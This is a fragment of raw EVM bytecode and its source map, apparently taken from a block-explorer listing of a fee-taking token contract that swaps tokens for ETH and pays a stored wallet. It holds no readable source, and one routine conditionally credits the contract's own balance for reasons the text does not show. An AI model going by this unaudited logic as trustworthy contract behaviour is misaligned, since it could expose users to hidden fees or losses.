348015610298575f80fd5b506101b36102a736600461106c565b610474565b3480156102b7575f80fd5b506002546101129081565b3480156102cd575f80fd5b506101126102dc3660046110ef565b6001600160a01b039182165f90815260136020908152604080832093909416825291909152205490565b348015610311575f80fd5b5060035461017c906001600160a01b031681565b348015610330575f80fd5b5061024461033f3660046110d4565b610480565b5f61035033848461053a565b5060015b92915050565b5f6103676012600a61121a565b61037490620f4240611228565b905090565b5f6103858484846105f8565b60408051602080820183525f8083526001600160a01b03881681526013825283812033808352925292909220546103ca92879290916103c59187906108d7565b61053a565b5060019392505050565b6001600160a01b0381165f908152600d60205260408120546103549061090f565b5f546001600160a01b0316331461042c5760405162461bcd60e51b8152602060048201525f60248201526044015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103503384846105f8565b5f546001600160a01b031633146104b25760405162461bcd60e51b8152602060048201525f6024820152604401610423565b6001600160a01b0381166104e15760405162461bcd60e51b8152602060048201525f6024820152604401610423565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166105695760405162461bcd60e51b8152602060048201525f6024820152604401610423565b6001600160a01b0382166105985760405162461bcd60e51b8152602060048201525f6024820152604401610423565b6001600160a01b038381165f8181526013602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f81116106205760405162461bcd60e51b8152602060048201525f6024820152604401610423565b6001600160a01b03831661064f5760405162461bcd60e51b8152602060048201525f6024820152604401610423565b6001600160a01b03821661067e5760405162461bcd60e51b8152602060048201525f6024820152604401610423565b5f546001600160a01b038481169116148015906106a857505f546001600160a01b03838116911614155b156107cd575f80826106b9866103d4565b6001600160a01b038088165f9081526012602052604090205460035493909210935060ff90911691811690861614811561070d57801561070d57821561070d57610704868587610957565b50505050505050565b5f610717306103d4565b601554909150811080159081906107355750601454610100900460ff165b8015610744575060145460ff16155b801561076857506001600160a01b0389165f9081526012602052604090205460ff16155b801561078c57506001600160a01b0388165f9081526012602052604090205460ff16155b80156107a657506003546001600160a01b038a8116911614155b156107c6576107b482610a4a565b4780156107c4576107c447610bc9565b505b5050505050505b6003546001906001600160a01b038581169116148015906107fc57506003546001600160a01b03848116911614155b8061083f57506001600160a01b0384165f9081526012602052604090205460ff168061083f57506001600160a01b0383165f9081526012602052604090205460ff165b1561084b57505f6108c5565b6003546001600160a01b03858116911614801561087657506004546001600160a01b03848116911614155b15610888576006546008556010546007555b6003546001600160a01b0384811691161480156108b357506004546001600160a01b03858116911614155b156108c5576005546008556011546007555b6108d184848484610c3a565b50505050565b5f81848411156108fa5760405162461bcd60e51b81526004016104239190611009565b505f610906848661123f565b95945050505050565b5f600f5482111561093b5760405162461bcd60e51b8152602060048201525f6024820152604401610423565b5f610944610c68565b90506109508382610c89565b9392505050565b5f805f805f8061096687610ca3565b6001600160a01b038f165f908152600d6020526040902054959b509399509197509550935091506109979087610cf8565b6001600160a01b03808b165f908152600d602052604080822093909355908a16815220546109c59086610d12565b6001600160a01b0389165f908152600d60205260409020556109e8818a8a610d49565b6109f28483610dd3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a3791815260200190565b60405180910390a3505050505050505050565b6014805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610a8a57610a8a611252565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610afa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b1e9190611266565b81600181518110610b3157610b31611252565b6001600160a01b039283166020918202929092010152600454610b57913091168461053a565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791610b8e9186915f9187913091429101611281565b5f604051808303815f87803b158015610ba5575f80fd5b505af1158015610bb7573d5f803e3d5ffd5b50506014805460ff1916905550505050565b6014805460ff191660011790556002545f90610bf390606490610bed908590610df7565b90610c89565b6001546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610c2b573d5f803e3d5ffd5b50506014805460ff1916905550565b80610c4757610c47610e44565b610c52848484610957565b806108d1576108d1600954600755600a54600855565b5f805f610c73610e71565b9092509050610c828282610c89565b9250505090565b5f610950838360405180602001604052805f815250610eef565b5f805f805f805f805f610cbb8a600854600754610f1b565b9250925092505f610cca610c68565b90505f805f610cdb8e878787610f67565b919e509c509a509598509396509194505050505091939550919395565b5f610950838360405180602001604052805f8152506108d7565b5f80610d1e83856112f2565b9050838110156109505760405162461bcd60e51b8152602060048201525f6024820152604401610423565b6016545f908190610d62906001600160a01b03166103d4565b90505f610d6f8585610fb2565b90508015610d885781600754610d85919061123f565b92505b5f610d91610c68565b90505f610d9e8883610df7565b305f908152600d6020526040902054909150610dba9082610d12565b305f908152600d60205260409020555050505050505050565b600e54610de09082610d12565b600e55600f54610df09083610cf8565b600f555050565b5f825f03610e0657505f610354565b5f610e118385611228565b905082610e1e8583611305565b146109505760405162461bcd60e51b8152602060048201525f6024820152604401610423565b600754158015610e545750600854155b15610e5b57565b6007805460095560088054600a555f9182905555565b600f545f90819081610e856012600a61121a565b610e9290620f4240611228565b9050610eb9610ea36012600a61121a565b610eb090620f4240611228565b600f5490610c89565b821015610ee657600f54610ecf6012600a61121a565b610edc90620f4240611228565b9350935050509091565b90939092509050565b5f8183610f0f5760405162461bcd60e51b81526004016104239190611009565b505f6109068486611305565b5f808080610f2e6064610bed8989610df7565b90505f610f406064610bed8a89610df7565b90505f610f5782610f518b86610cf8565b90610cf8565b9992985090965090945050505050565b5f808080610f758786610df7565b90505f610f828787610df7565b90505f610f8f8a88610df7565b90505f610fa083610f518487610cf8565b919b919a509298509650505050505050565b6001600160a01b038281165f8181526012602052604080822054858516835290822054600354929460ff928316159492909116159216141583838015610ff55750815b8015610ffe5750825b979650505050505050565b5f602080835283518060208501525f5b8181101561103557858101830151858201604001528201611019565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611069575f80fd5b50565b5f806040838503121561107d575f80fd5b823561108881611055565b946020939093013593505050565b5f805f606084860312156110a8575f80fd5b83356110b381611055565b925060208401356110c381611055565b929592945050506040919091013590565b5f602082840312156110e4575f80fd5b813561095081611055565b5f8060408385031215611100575f80fd5b823561110b81611055565b9150602083013561111b81611055565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561117457815f190482111561115a5761115a611126565b8085161561116757918102915b93841c939080029061113f565b509250929050565b5f8261118a57506001610354565b8161119657505f610354565b81600181146111ac57600281146111b6576111d2565b6001915050610354565b60ff8411156111c7576111c7611126565b50506001821b610354565b5060208310610133831016604e8410600b84101617156111f5575081810a610354565b6111ff838361113a565b805f190482111561121257611212611126565b029392505050565b5f61095060ff84168361117c565b808202811582820484141761035457610354611126565b8181038181111561035457610354611126565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611276575f80fd5b815161095081611055565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156112d15784516001600160a01b0316835293830193918301916001016112ac565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561035457610354611126565b5f8261131f57634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212206fd62c256106a179e74701dc82d196280ccbb3d2acea808f363f4424256d8b4164736f6c63430008160033

Deployed Bytecode Sourcemap

3249:10268:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4634:60;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4634:60:0;;;;;;;;13011:83;;;;;;;;;;-1:-1:-1;13081:5:0;;;;;;;;;;;;-1:-1:-1;;;13081:5:0;;;;13011:83;;;;;;;:::i;3661:34::-;;;;;;;;;;-1:-1:-1;3661:34:0;;;;-1:-1:-1;;;;;3661:34:0;;;;;;-1:-1:-1;;;;;938:32:1;;;920:51;;908:2;893:18;3661:34:0;749:228:1;9727:161:0;;;;;;;;;;-1:-1:-1;9727:161:0;;;;;:::i;:::-;;:::i;:::-;;;1603:14:1;;1596:22;1578:41;;1566:2;1551:18;9727:161:0;1438:187:1;11920:95:0;;;;;;;;;;;;;:::i;6535:251::-;;;;;;;;;;-1:-1:-1;6535:251:0;;;;;:::i;:::-;;:::i;11829:83::-;;;;;;;;;;-1:-1:-1;11829:83:0;;3621:2;2233:36:1;;2221:2;2206:18;11829:83:0;2091:184:1;12862:141:0;;;;;;;;;;-1:-1:-1;12862:141:0;;;;;:::i;:::-;;:::i;705:148::-;;;;;;;;;;;;;:::i;:::-;;618:79;;;;;;;;;;-1:-1:-1;656:7:0;683:6;-1:-1:-1;;;;;683:6:0;618:79;;13298:87;;;;;;;;;;-1:-1:-1;13370:7:0;;;;;;;;;;;;-1:-1:-1;;;13370:7:0;;;;13298:87;;7182:153;;;;;;;;;;-1:-1:-1;7182:153:0;;;;;:::i;:::-;;:::i;3462:21::-;;;;;;;;;;-1:-1:-1;3462:21:0;;;;;;10640:143;;;;;;;;;;-1:-1:-1;10640:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;10748:18:0;;;10721:7;10748:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10640:143;3632:22;;;;;;;;;;-1:-1:-1;3632:22:0;;;;-1:-1:-1;;;;;3632:22:0;;;861:206;;;;;;;;;;-1:-1:-1;861:206:0;;;;;:::i;:::-;;:::i;9727:161::-;9802:4;9819:39;183:10;9842:7;9851:6;9819:8;:39::i;:::-;-1:-1:-1;9876:4:0;9727:161;;;;;:::o;11920:95::-;11973:7;4215:13;3621:2;4215;:13;:::i;:::-;4205:23;;:7;:23;:::i;:::-;11993:14;;11920:95;:::o;6535:251::-;6624:4;6641:27;6651:4;6657:2;6661:6;6641:9;:27::i;:::-;6708:47;;;;;;;;;-1:-1:-1;6708:47:0;;;-1:-1:-1;;;;;6708:17:0;;;;:11;:17;;;;;183:10;6708:31;;;;;;;;;;6679:77;;6688:4;;183:10;;6708:47;;6744:6;;6708:35;:47::i;:::-;6679:8;:77::i;:::-;-1:-1:-1;6774:4:0;6535:251;;;;;:::o;12862:141::-;-1:-1:-1;;;;;12978:16:0;;12928:7;12978:16;;;:7;:16;;;;;;12955:40;;:22;:40::i;705:148::-;563:6;;-1:-1:-1;;;;;563:6:0;183:10;563:22;555:35;;;;-1:-1:-1;;;555:35:0;;5017:2:1;555:35:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;555:35:0;;;;;;;;;812:1:::1;796:6:::0;;775:40:::1;::::0;-1:-1:-1;;;;;796:6:0;;::::1;::::0;775:40:::1;::::0;812:1;;775:40:::1;843:1;826:19:::0;;-1:-1:-1;;;;;;826:19:0::1;::::0;;705:148::o;7182:153::-;7253:4;7270:35;183:10;7294:2;7298:6;7270:9;:35::i;861:206::-;563:6;;-1:-1:-1;;;;;563:6:0;183:10;563:22;555:35;;;;-1:-1:-1;;;555:35:0;;5017:2:1;555:35:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;555:35:0;4815:284:1;555:35:0;-1:-1:-1;;;;;950:22:0;::::1;942:35;;;::::0;-1:-1:-1;;;942:35:0;;5017:2:1;942:35:0::1;::::0;::::1;4999:21:1::0;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;942:35:0::1;4815:284:1::0;942:35:0::1;1014:6;::::0;;993:38:::1;::::0;-1:-1:-1;;;;;993:38:0;;::::1;::::0;1014:6;::::1;::::0;993:38:::1;::::0;::::1;1042:6;:17:::0;;-1:-1:-1;;;;;;1042:17:0::1;-1:-1:-1::0;;;;;1042:17:0;;;::::1;::::0;;;::::1;::::0;;861:206::o;9896:265::-;-1:-1:-1;;;;;9989:19:0;;9981:32;;;;-1:-1:-1;;;9981:32:0;;5017:2:1;9981:32:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;9981:32:0;4815:284:1;9981:32:0;-1:-1:-1;;;;;10032:21:0;;10024:34;;;;-1:-1:-1;;;10024:34:0;;5017:2:1;10024:34:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;10024:34:0;4815:284:1;10024:34:0;-1:-1:-1;;;;;10069:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10121:32;;160:25:1;;;10121:32:0;;133:18:1;10121:32:0;;;;;;;9896:265;;;:::o;7343:1933::-;7440:1;7431:6;:10;7423:23;;;;-1:-1:-1;;;7423:23:0;;5017:2:1;7423:23:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;7423:23:0;4815:284:1;7423:23:0;-1:-1:-1;;;;;7465:18:0;;7457:31;;;;-1:-1:-1;;;7457:31:0;;5017:2:1;7457:31:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;7457:31:0;4815:284:1;7457:31:0;-1:-1:-1;;;;;7507:16:0;;7499:29;;;;-1:-1:-1;;;7499:29:0;;5017:2:1;7499:29:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;7499:29:0;4815:284:1;7499:29:0;656:7;683:6;-1:-1:-1;;;;;7545:15:0;;;683:6;;7545:15;;;;:32;;-1:-1:-1;656:7:0;683:6;-1:-1:-1;;;;;7564:13:0;;;683:6;;7564:13;;7545:32;7541:1008;;;7594:12;7634;7667:6;7649:15;7659:4;7649:9;:15::i;:::-;-1:-1:-1;;;;;7712:21:0;;;7688;7712;;;:15;:21;;;;;;7761:7;;7649:24;;;;;-1:-1:-1;7712:21:0;;;;;7761:7;;:13;;;;7791:99;;;;7819:5;7815:73;;;7832:7;7828:58;;;7843:32;7858:2;7862:4;7868:6;7843:14;:32::i;:::-;7877:7;;;;7343:1933;;;:::o;7828:58::-;7906:27;7936:24;7954:4;7936:9;:24::i;:::-;8016:20;;7906:54;;-1:-1:-1;7993:43:0;;;;;;;8075:45;;-1:-1:-1;8106:14:0;;;;;;;8075:45;:78;;;;-1:-1:-1;8142:11:0;;;;8141:12;8075:78;:121;;;;-1:-1:-1;;;;;;8175:21:0;;;;;;:15;:21;;;;;;;;8174:22;8075:121;:162;;;;-1:-1:-1;;;;;;8218:19:0;;;;;;:15;:19;;;;;;;;8217:20;8075:162;:198;;;;-1:-1:-1;8266:7:0;;-1:-1:-1;;;;;8258:15:0;;;8266:7;;8258:15;;8075:198;8053:485;;;8308:28;8316:19;8308:7;:28::i;:::-;8383:21;8427;;8423:100;;8473:30;8481:21;8473:7;:30::i;:::-;8289:249;8053:485;7579:970;;;;;;7541:1008;8641:7;;8579:4;;-1:-1:-1;;;;;8633:15:0;;;8641:7;;8633:15;;;;:49;;-1:-1:-1;8675:7:0;;-1:-1:-1;;;;;8669:13:0;;;8675:7;;8669:13;;8633:49;8614:195;;;-1:-1:-1;;;;;;8733:21:0;;;;;;:15;:21;;;;;;;;;:61;;-1:-1:-1;;;;;;8775:19:0;;;;;;:15;:19;;;;;;;;8733:61;8596:618;;;-1:-1:-1;8849:5:0;8596:618;;;8899:7;;-1:-1:-1;;;;;8891:15:0;;;8899:7;;8891:15;:43;;;;-1:-1:-1;8924:9:0;;-1:-1:-1;;;;;8910:24:0;;;8924:9;;8910:24;;8891:43;8887:149;;;8967:12;;8955:9;:24;9009:11;;8998:8;:22;8887:149;9062:7;;-1:-1:-1;;;;;9056:13:0;;;9062:7;;9056:13;:43;;;;-1:-1:-1;9089:9:0;;-1:-1:-1;;;;;9073:26:0;;;9089:9;;9073:26;;9056:43;9052:151;;;9132:13;;9120:9;:25;9175:12;;9164:8;:23;9052:151;9224:44;9239:4;9245:2;9249:6;9257:10;9224:14;:44::i;:::-;7412:1864;7343:1933;;;:::o;1258:190::-;1344:7;1380:12;1372:6;;;;1364:29;;;;-1:-1:-1;;;1364:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1404:9:0;1416:5;1420:1;1416;:5;:::i;:::-;1404:17;1258:190;-1:-1:-1;;;;;1258:190:0:o;11335:218::-;11406:7;11445;;11434;:18;;11426:31;;;;-1:-1:-1;;;11426:31:0;;5017:2:1;11426:31:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;11426:31:0;4815:284:1;11426:31:0;11468:19;11490:13;:11;:13::i;:::-;11468:35;-1:-1:-1;11521:24:0;:7;11468:35;11521:11;:24::i;:::-;11514:31;11335:218;-1:-1:-1;;;11335:218:0:o;10169:463::-;10256:15;10273:23;10298:12;10312:23;10337:12;10351:13;10368:22;10382:7;10368:13;:22::i;:::-;-1:-1:-1;;;;;10417:13:0;;;;;;:7;:13;;;;;;10255:135;;-1:-1:-1;10255:135:0;;-1:-1:-1;10255:135:0;;-1:-1:-1;10255:135:0;-1:-1:-1;10255:135:0;-1:-1:-1;10255:135:0;-1:-1:-1;10417:26:0;;10255:135;10417:17;:26::i;:::-;-1:-1:-1;;;;;10401:13:0;;;;;;;:7;:13;;;;;;:42;;;;10468:11;;;;;;;:32;;10484:15;10468;:32::i;:::-;-1:-1:-1;;;;;10454:11:0;;;;;;:7;:11;;;;;:46;10511:28;10523:5;10530:4;10462:2;10511:11;:28::i;:::-;10550:23;10562:4;10568;10550:11;:23::i;:::-;10604:2;-1:-1:-1;;;;;10589:35:0;10598:4;-1:-1:-1;;;;;10589:35:0;;10608:15;10589:35;;;;160:25:1;;148:2;133:18;;14:177;10589:35:0;;;;;;;;10244:388;;;;;;10169:463;;;:::o;6794:380::-;5535:11;:18;;-1:-1:-1;;5535:18:0;5549:4;5535:18;;;6887:16:::1;::::0;;6901:1:::1;6887:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6887:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6887:16:0::1;6863:40;;6932:4;6914;6919:1;6914:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;6914:23:0::1;;;-1:-1:-1::0;;;;;6914:23:0::1;;;::::0;::::1;6958:9;;;;;;;;;-1:-1:-1::0;;;;;6958:9:0::1;-1:-1:-1::0;;;;;6958:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6948:4;6953:1;6948:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6948:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;7017:9:::1;::::0;6985:56:::1;::::0;7002:4:::1;::::0;7017:9:::1;7029:11:::0;6985:8:::1;:56::i;:::-;7052:9;::::0;;:114:::1;::::0;-1:-1:-1;;;7052:114:0;;-1:-1:-1;;;;;7052:9:0;;::::1;::::0;:60:::1;::::0;:114:::1;::::0;7113:11;;7052:9:::1;::::0;7129:4;;7143::::1;::::0;7150:15:::1;::::0;7052:114:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5576:11:0;:19;;-1:-1:-1;;5576:19:0;;;-1:-1:-1;;;;6794:380:0:o;13102:188::-;5535:11;:18;;-1:-1:-1;;5535:18:0;5549:4;5535:18;;;13206:8:::1;:13:::0;5535:11;;13192:37:::1;::::0;13225:3:::1;::::0;13192:28:::1;::::0;:9;;:13:::1;:28::i;:::-;:32:::0;::::1;:37::i;:::-;13248:10;::::0;13240:42:::1;::::0;13169:60;;-1:-1:-1;;;;;;13248:10:0::1;::::0;13240:42;::::1;;;::::0;13169:60;;13248:10:::1;13240:42:::0;13248:10;13240:42;13169:60;13248:10;13240:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5576:11:0;:19;;-1:-1:-1;;5576:19:0;;;-1:-1:-1;13102:188:0:o;4703:231::-;4810:10;4805:33;;4822:16;:14;:16::i;:::-;4849:32;4864:4;4870:2;4874:6;4849:14;:32::i;:::-;4897:10;4892:34;;4909:17;13450:16;;13439:8;:27;13489:17;;13477:9;:29;13393:121;10791:170;10836:7;10857:15;10874;10893:22;:20;:22::i;:::-;10856:59;;-1:-1:-1;10856:59:0;-1:-1:-1;10933:20:0;10856:59;;10933:11;:20::i;:::-;10926:27;;;;10791:170;:::o;1791:106::-;1849:7;1876:13;1880:1;1883;1876:13;;;;;;;;;;;;:3;:13::i;5648:481::-;5710:7;5719;5728;5737;5746;5755;5776:23;5801:12;5815:13;5832:44;5847:7;5856:9;;5867:8;;5832:14;:44::i;:::-;5775:101;;;;;;5887:19;5909:13;:11;:13::i;:::-;5887:35;;5934:15;5951:23;5976:12;5992:49;6007:7;6016:4;6022:5;6029:11;5992:14;:49::i;:::-;5933:108;;-1:-1:-1;5933:108:0;-1:-1:-1;5933:108:0;-1:-1:-1;6092:15:0;;-1:-1:-1;6109:4:0;;-1:-1:-1;6115:5:0;;-1:-1:-1;;;;;5648:481:0;;;;;;;:::o;1456:106::-;1514:7;1541:13;1545:1;1548;1541:13;;;;;;;;;;;;:3;:13::i;1098:152::-;1156:7;;1188:5;1192:1;1188;:5;:::i;:::-;1176:17;;1217:1;1212;:6;;1204:19;;;;-1:-1:-1;;;1204:19:0;;5017:2:1;1204:19:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;1204:19:0;4815:284:1;12407:447:0;12555:6;;12497:14;;;;12545:17;;-1:-1:-1;;;;;12555:6:0;12545:9;:17::i;:::-;12522:40;;12573:15;12591:32;12605:6;12613:9;12591:13;:32::i;:::-;12573:50;;12638:10;12634:48;;;12670:12;12659:8;;:23;;;;:::i;:::-;12650:32;;12634:48;12693:19;12715:13;:11;:13::i;:::-;12693:35;-1:-1:-1;12739:13:0;12755:22;:5;12693:35;12755:9;:22::i;:::-;12829:4;12813:22;;;;:7;:22;;;;;;12739:38;;-1:-1:-1;12813:33:0;;12739:38;12813:26;:33::i;:::-;12804:4;12788:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;;;;;;12407:447:0:o;12023:147::-;12104:10;;:20;;12119:4;12104:14;:20::i;:::-;12091:10;:33;12145:7;;:17;;12157:4;12145:11;:17::i;:::-;12135:7;:27;-1:-1:-1;;12023:147:0:o;1570:213::-;1628:7;1652:1;1657;1652:6;1648:47;;-1:-1:-1;1682:1:0;1675:8;;1648:47;1705:9;1717:5;1721:1;1717;:5;:::i;:::-;1705:17;-1:-1:-1;1750:1:0;1741:5;1745:1;1705:17;1741:5;:::i;:::-;:10;1733:23;;;;-1:-1:-1;;;1733:23:0;;5017:2:1;1733:23:0;;;4999:21:1;-1:-1:-1;5036:18:1;;;5029:29;5075:18;;1733:23:0;4815:284:1;12178:221:0;12227:8;;:13;:31;;;;-1:-1:-1;12244:9:0;;:14;12227:31;12223:44;;;12178:221::o;12223:44::-;12296:8;;;12277:16;:27;12335:9;;;12315:17;:29;-1:-1:-1;12355:12:0;;;;12378:13;12178:221::o;11561:260::-;11662:7;;11615;;;;;4215:13;3621:2;4215;:13;:::i;:::-;4205:23;;:7;:23;:::i;:::-;11680:25;-1:-1:-1;11730:20:0;4215:13;3621:2;4215;:13;:::i;:::-;4205:23;;:7;:23;:::i;:::-;11730:7;;;:11;:20::i;:::-;11720:7;:30;11716:61;;;11760:7;;4215:13;3621:2;4215;:13;:::i;:::-;4205:23;;:7;:23;:::i;:::-;11752:25;;;;;;11561:260;;:::o;11716:61::-;11796:7;;11805;;-1:-1:-1;11561:260:0;-1:-1:-1;11561:260:0:o;1905:189::-;1991:7;2026:12;2019:5;2011:28;;;;-1:-1:-1;;;2011:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2050:9:0;2062:5;2066:1;2062;:5;:::i;10969:358::-;11067:7;;;;11120:30;11146:3;11120:21;:7;11132:8;11120:11;:21::i;:30::-;11105:45;-1:-1:-1;11161:13:0;11177:29;11202:3;11177:20;:7;11189;11177:11;:20::i;:29::-;11161:45;-1:-1:-1;11217:23:0;11243:28;11161:45;11243:17;:7;11255:4;11243:11;:17::i;:::-;:21;;:28::i;:::-;11217:54;11307:4;;-1:-1:-1;11313:5:0;;-1:-1:-1;10969:358:0;;-1:-1:-1;;;;;10969:358:0:o;9284:412::-;9397:7;;;;9450:21;:4;9459:11;9450:8;:21::i;:::-;9435:36;-1:-1:-1;9482:13:0;9498:22;:5;9508:11;9498:9;:22::i;:::-;9482:38;-1:-1:-1;9531:15:0;9549:24;:7;9561:11;9549;:24::i;:::-;9531:42;-1:-1:-1;9584:23:0;9610:28;9632:5;9610:17;9531:42;9622:4;9610:11;:17::i;:28::-;9657:7;;;;-1:-1:-1;9683:4:0;;-1:-1:-1;9284:412:0;-1:-1:-1;;;;;;;9284:412:0:o;6137:390::-;-1:-1:-1;;;;;6259:23:0;;;6217:4;6259:23;;;:15;:23;;;;;;;6321:26;;;;;;;;;6392:7;;6217:4;;6259:23;;;;6258:24;;6321:26;;;;6320:27;;6392:7;6382:17;;6217:4;6258:24;6430:36;;;;;6450:16;6430:36;:59;;;;;6470:19;6430:59;6412:77;6137:390;-1:-1:-1;;;;;;;6137:390:0:o;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;982:131::-;-1:-1:-1;;;;;1057:31:1;;1047:42;;1037:70;;1103:1;1100;1093:12;1037:70;982:131;:::o;1118:315::-;1186:6;1194;1247:2;1235:9;1226:7;1222:23;1218:32;1215:52;;;1263:1;1260;1253:12;1215:52;1302:9;1289:23;1321:31;1346:5;1321:31;:::i;:::-;1371:5;1423:2;1408:18;;;;1395:32;;-1:-1:-1;;;1118:315:1:o;1630:456::-;1707:6;1715;1723;1776:2;1764:9;1755:7;1751:23;1747:32;1744:52;;;1792:1;1789;1782:12;1744:52;1831:9;1818:23;1850:31;1875:5;1850:31;:::i;:::-;1900:5;-1:-1:-1;1957:2:1;1942:18;;1929:32;1970:33;1929:32;1970:33;:::i;:::-;1630:456;;2022:7;;-1:-1:-1;;;2076:2:1;2061:18;;;;2048:32;;1630:456::o;2280:247::-;2339:6;2392:2;2380:9;2371:7;2367:23;2363:32;2360:52;;;2408:1;2405;2398:12;2360:52;2447:9;2434:23;2466:31;2491:5;2466:31;:::i;2740:388::-;2808:6;2816;2869:2;2857:9;2848:7;2844:23;2840:32;2837:52;;;2885:1;2882;2875:12;2837:52;2924:9;2911:23;2943:31;2968:5;2943:31;:::i;:::-;2993:5;-1:-1:-1;3050:2:1;3035:18;;3022:32;3063:33;3022:32;3063:33;:::i;:::-;3115:7;3105:17;;;2740:388;;;;;:::o;3133:127::-;3194:10;3189:3;3185:20;3182:1;3175:31;3225:4;3222:1;3215:15;3249:4;3246:1;3239:15;3265:416;3354:1;3391:5;3354:1;3405:270;3426:7;3416:8;3413:21;3405:270;;;3485:4;3481:1;3477:6;3473:17;3467:4;3464:27;3461:53;;;3494:18;;:::i;:::-;3544:7;3534:8;3530:22;3527:55;;;3564:16;;;;3527:55;3643:22;;;;3603:15;;;;3405:270;;;3409:3;3265:416;;;;;:::o;3686:806::-;3735:5;3765:8;3755:80;;-1:-1:-1;3806:1:1;3820:5;;3755:80;3854:4;3844:76;;-1:-1:-1;3891:1:1;3905:5;;3844:76;3936:4;3954:1;3949:59;;;;4022:1;4017:130;;;;3929:218;;3949:59;3979:1;3970:10;;3993:5;;;4017:130;4054:3;4044:8;4041:17;4038:43;;;4061:18;;:::i;:::-;-1:-1:-1;;4117:1:1;4103:16;;4132:5;;3929:218;;4231:2;4221:8;4218:16;4212:3;4206:4;4203:13;4199:36;4193:2;4183:8;4180:16;4175:2;4169:4;4166:12;4162:35;4159:77;4156:159;;;-1:-1:-1;4268:19:1;;;4300:5;;4156:159;4347:34;4372:8;4366:4;4347:34;:::i;:::-;4417:6;4413:1;4409:6;4405:19;4396:7;4393:32;4390:58;;;4428:18;;:::i;:::-;4466:20;;3686:806;-1:-1:-1;;;3686:806:1:o;4497:140::-;4555:5;4584:47;4625:4;4615:8;4611:19;4605:4;4584:47;:::i;4642:168::-;4715:9;;;4746;;4763:15;;;4757:22;;4743:37;4733:71;;4784:18;;:::i;5104:128::-;5171:9;;;5192:11;;;5189:37;;;5206:18;;:::i;5369:127::-;5430:10;5425:3;5421:20;5418:1;5411:31;5461:4;5458:1;5451:15;5485:4;5482:1;5475:15;5501:251;5571:6;5624:2;5612:9;5603:7;5599:23;5595:32;5592:52;;;5640:1;5637;5630:12;5592:52;5672:9;5666:16;5691:31;5716:5;5691:31;:::i;5757:980::-;6019:4;6067:3;6056:9;6052:19;6098:6;6087:9;6080:25;6124:2;6162:6;6157:2;6146:9;6142:18;6135:34;6205:3;6200:2;6189:9;6185:18;6178:31;6229:6;6264;6258:13;6295:6;6287;6280:22;6333:3;6322:9;6318:19;6311:26;;6372:2;6364:6;6360:15;6346:29;;6393:1;6403:195;6417:6;6414:1;6411:13;6403:195;;;6482:13;;-1:-1:-1;;;;;6478:39:1;6466:52;;6573:15;;;;6538:12;;;;6514:1;6432:9;6403:195;;;-1:-1:-1;;;;;;;6654:32:1;;;;6649:2;6634:18;;6627:60;-1:-1:-1;;